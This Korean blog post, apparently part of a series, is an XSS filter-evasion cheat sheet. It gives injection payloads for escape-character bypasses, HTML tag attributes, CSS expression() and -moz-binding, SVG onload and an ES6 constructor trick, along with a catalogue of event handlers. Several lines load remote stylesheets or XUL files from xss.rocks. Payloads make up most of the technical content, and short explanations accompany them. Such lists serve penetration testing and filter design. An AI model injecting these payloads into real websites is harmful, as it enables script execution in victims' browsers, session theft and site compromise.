이스케이프 문자 우회

  • 서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.
<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
  • JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되지 않은 경우 <script> 태그를 닫고 새로운 스크립트를 삽입 가능.
</script><script>alert('XSS');</script>

 

 

 

HTML 태그 활용 XSS

  • <TITLE> 태그 종료 후 스크립트 삽입:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
  • <INPUT> 태그에서 SRC 속성을 활용:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  • <BODY> 태그에서 BACKGROUND 속성 활용:
<BODY BACKGROUND="javascript:alert('XSS')">
  • <IMG> 태그에서 DYNSRC 및 LOWSRC 속성 활용:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

 

 

 

스타일 속성 및 CSS 기반 XSS

  • list-style-image 속성 활용 (IE에서만 작동):
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</UL>
  • VBScript를 활용한 이미지 XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
  • SVG 태그 활용:
<svg/onload=alert('XSS')>
  • ECMAScript 6 활용:
Set.constructor`alert\x28document.domain\x29
  • BODY 태그 활용:
<BODY ONLOAD=alert('XSS')>

 

 

 

이벤트 핸들러 기반 XSS

  • 다양한 JavaScript 이벤트 핸들러를 활용한 공격:

사용자 상호작용 관련 이벤트

  • onClick(): 사용자가 클릭할 때
  • onDblClick(): 사용자가 두 번 클릭할 때
  • onMouseDown(): 마우스를 클릭할 때
  • onMouseUp(): 마우스를 클릭에서 뗄 때
  • onMouseMove(): 마우스를 움직일 때
  • onMouseOver(): 마우스가 요소 위로 이동할 때
  • onMouseOut(): 마우스가 요소 밖으로 이동할 때
  • onMouseEnter(): 커서가 객체 위로 이동할 때
  • onMouseLeave(): 커서가 객체에서 벗어날 때
  • onContextMenu(): 마우스 오른쪽 버튼 클릭
  • onSelect(): 사용자가 일부 텍스트를 선택할 때
  • onSelectStart(): 텍스트 선택이 시작될 때
  • onSelectionChange(): 텍스트 선택이 변경될 때
  • onKeyDown(): 키를 누를 때
  • onKeyPress(): 키를 누르거나 누르고 있을 때
  • onKeyUp(): 키를 놓을 때
  • onInput(): 입력 필드에서 값이 변경될 때

윈도우 & 문서 관련 이벤트

  • onLoad(): 문서가 로드될 때
  • onUnload(): 사용자가 페이지를 떠날 때
  • onBeforeUnload(): 페이지를 떠나기 직전
  • onResize(): 창 크기가 변경될 때
  • onResizeStart(): 창 크기 조절 시작
  • onResizeEnd(): 창 크기 조절 종료
  • onMove(): 창이 이동될 때
  • onMoveStart(): 창 이동 시작
  • onMoveEnd(): 창 이동 종료
  • onScroll(): 사용자가 스크롤할 때
  • onHashChange(): URL 해시 변경 시
  • onPopState(): 브라우저 뒤로가기/앞으로가기 시
  • onMessage(): 문서가 메시지를 받을 때
  • onStorage(): 저장 공간이 변경될 때

복사/붙여넣기 관련 이벤트

  • onCopy(): 사용자가 복사할 때
  • onCut(): 사용자가 잘라내기 할 때
  • onPaste(): 사용자가 붙여넣기 할 때
  • onBeforeCopy(): 복사되기 직전
  • onBeforeCut(): 잘라내기 직전
  • onBeforePaste(): 붙여넣기 직전

드래그 & 드롭 관련 이벤트

  • onDrag(): 사용자가 객체를 드래그할 때
  • onDragStart(): 드래그 작업을 시작할 때
  • onDragEnd(): 드래그 작업이 끝날 때
  • onDragEnter(): 객체가 유효한 위치로 들어올 때
  • onDragOver(): 객체가 유효한 위치 위에 있을 때
  • onDragLeave(): 객체가 유효한 위치에서 나갈 때
  • onDrop(): 객체를 드롭할 때
  • onDragDrop(): 사용자가 브라우저 창에 객체를 놓을 때

폼 관련 이벤트

  • onChange(): 입력 필드 값이 변경될 때
  • onSubmit(): 폼을 제출할 때
  • onReset(): 폼을 리셋할 때

미디어 관련 이벤트

  • onMediaComplete(): 미디어 파일이 끝날 때
  • onMediaError(): 미디어 파일에서 오류 발생
  • onTrackChange(): 재생 목록의 트랙이 변경될 때

마우스 휠 관련 이벤트

  • onMouseWheel(): 사용자가 마우스 휠을 사용할 때

프린트 관련 이벤트

  • onBeforePrint(): 사용자가 인쇄하기 전에
  • onAfterPrint(): 인쇄 후

데이터 관련 이벤트

  • onDataAvailable(): 요소의 데이터가 변경될 때
  • onDataSetChanged(): 데이터 세트가 변경될 때
  • onDataSetComplete(): 데이터 세트가 로드 완료될 때
  • onCellChange(): 데이터 제공자가 변경될 때
  • onPropertyChange(): 요소 속성이 변경될 때
  • onReadyStateChange(): 요소의 상태가 변경될 때

포커스 관련 이벤트

  • onFocus(): 요소가 포커스를 받을 때
  • onFocusIn(): 요소가 포커스를 받을 때(버블링 지원)
  • onFocusOut(): 요소가 포커스를 잃을 때(버블링 지원)
  • onBlur(): 요소가 포커스를 잃을 때
  • onActivate(): 객체가 활성 요소로 설정될 때
  • onBeforeActivate(): 객체가 활성 요소로 설정되기 전에 발생
  • onBeforeDeactivate(): 현재 객체에서 activeElement가 변경된 직후
  • onDeactivate(): activeElement가 변경될 때 발생
  • onBeforeEditFocus(): 편집 가능한 요소가 활성화되기 전

애니메이션 & 타임라인 관련 이벤트

  • onBegin(): 타임라인이 시작될 때
  • onEnd(): 타임라인이 종료될 때
  • onPause(): 타임라인이 일시 정지될 때
  • onResume(): 타임라인이 재개될 때
  • onReverse(): 타임라인이 역재생될 때
  • onRepeat(): 타임라인이 반복될 때
  • onBounce(): 마키가 한쪽 끝에 도달할 때
  • onFinish(): 마키가 루프를 완료할 때
  • onStart(): 마키 루프가 시작될 때
  • onStop(): 사용자가 중지 버튼을 누르거나 웹페이지를 종료할 때
  • onSyncRestored(): 미디어 동기화가 복원될 때
  • onSeek(): 타임라인이 특정 지점을 찾을 때

오류 처리 관련 이벤트

  • onError(): 문서나 이미지 로딩 오류 발생 시
  • onErrorUpdate(): 데이터 업데이트 중 오류 발생 시
  • onTimeError(): 시간 속성이 잘못된 값일 때

네트워크 상태 관련 이벤트

  • onOffline(): 브라우저가 오프라인 모드로 전환될 때
  • onOnline(): 브라우저가 온라인 모드로 전환될 때
  • onOutOfSync(): 미디어 요소의 동기화가 깨질 때

실행 취소/반복 관련 이벤트

  • onUndo(): 사용자가 실행 취소할 때
  • onRedo(): 사용자가 실행 취소를 다시 실행할 때

 

기타

  • onHelp(): 사용자가 F1 키를 누를 때
  • onControlSelect(): 사용자가 컨트롤을 선택할 때
  • onLoseCapture(): releaseCapture()를 통해 제어권을 잃을 때
  • onLayoutComplete(): 인쇄 또는 미리보기 시 레이아웃 완료
  • onFilterChange(): 필터 상태가 변경될 때
  • onURLFlip(): HTML+TIME에서 ASF 파일이 내장 스크립트를 실행할 때
  • seekSegmentTime(): 세그먼트 타임라인에서 특정 지점을 찾고 재생할 때

 

 

 

& JavaScript 포함

 

  • <BR> 태그의 SIZE 속성을 이용하여 JavaScript 코드 실행.
  • 브라우저가 속성 값을 평가할 때 JavaScript 코드가 실행될 가능성이 있음.
<BR SIZE="&{alert('XSS')}">

 

 

 

 

스타일 시트 관련 XSS

 

  • <LINK> 태그를 이용하여 JavaScript를 포함한 스타일시트를 로드하면 실행됨.
  • 일반적으로 보안이 강화된 브라우저에서는 차단되지만, 특정 환경에서 실행될 가능성이 있음.
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

 

 

  • 원격 스타일 시트
  • 공격자가 제어하는 원격 스타일시트를 로드하여 CSS 속성을 조작해 XSS 실행.
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

 

  • @import를 이용한 원격 스타일 시트
  • <STYLE> 태그 내부에서 @import를 이용해 원격 CSS 파일을 불러와서 악성 코드 실행.
<STYLE>@import 'http://xss.rocks/xss.css';</STYLE>

 

  • Moz-Binding을 이용한 XSS (Gecko 기반 브라우저)
  • Mozilla Gecko 엔진에서 지원하는 -moz-binding 속성을 악용하여 원격 XUL(XML User Interface Language) 파일을 로드하여 XSS 실행.
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

 

  • JavaScript를 포함한 스타일 태그
  • @import를 이용하면서 \(백슬래시)를 추가하여 JavaScript를 실행하도록 우회.
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

 

  • 표현식(expression)을 이용한 XSS (IE 전용)
  • Internet Explorer에서 CSS expression() 속성을 이용하여 JavaScript 실행.
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

 

  • IMG 태그의 스타일 속성을 통한 XSS
  • expression()을 변형하여 IE에서 JavaScript가 실행되도록 함.
<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

 

  • 배경 이미지 URL을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

 

  • BODY 태그의 background 속성을 이용한 XSS
  • background-image 속성을 javascript: URL로 설정하여 XSS 실행.
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>

 

  • 익명 HTML을 이용한 스타일 속성 XSS (IE 전용)
  • IE에서는 존재하지 않는 태그(<XSS>)도 해석하여 STYLE 속성 내부의 expression()을 실행할 수 있음.
<XSS STYLE="xss:expression(alert('XSS'))">

 

  • 로컬 .htc 파일을 이용한 XSS
  • .htc(HTML Components) 파일을 로드하여 JavaScript를 실행하는 방식.
  • 같은 도메인에서 .htc 파일을 로드해야 하므로, 공격자는 피해자의 서버에 업로드할 수 있어야 함.
<XSS STYLE="behavior: url(xss.htc);">

 

 

 

 

이어서....

+ Recent posts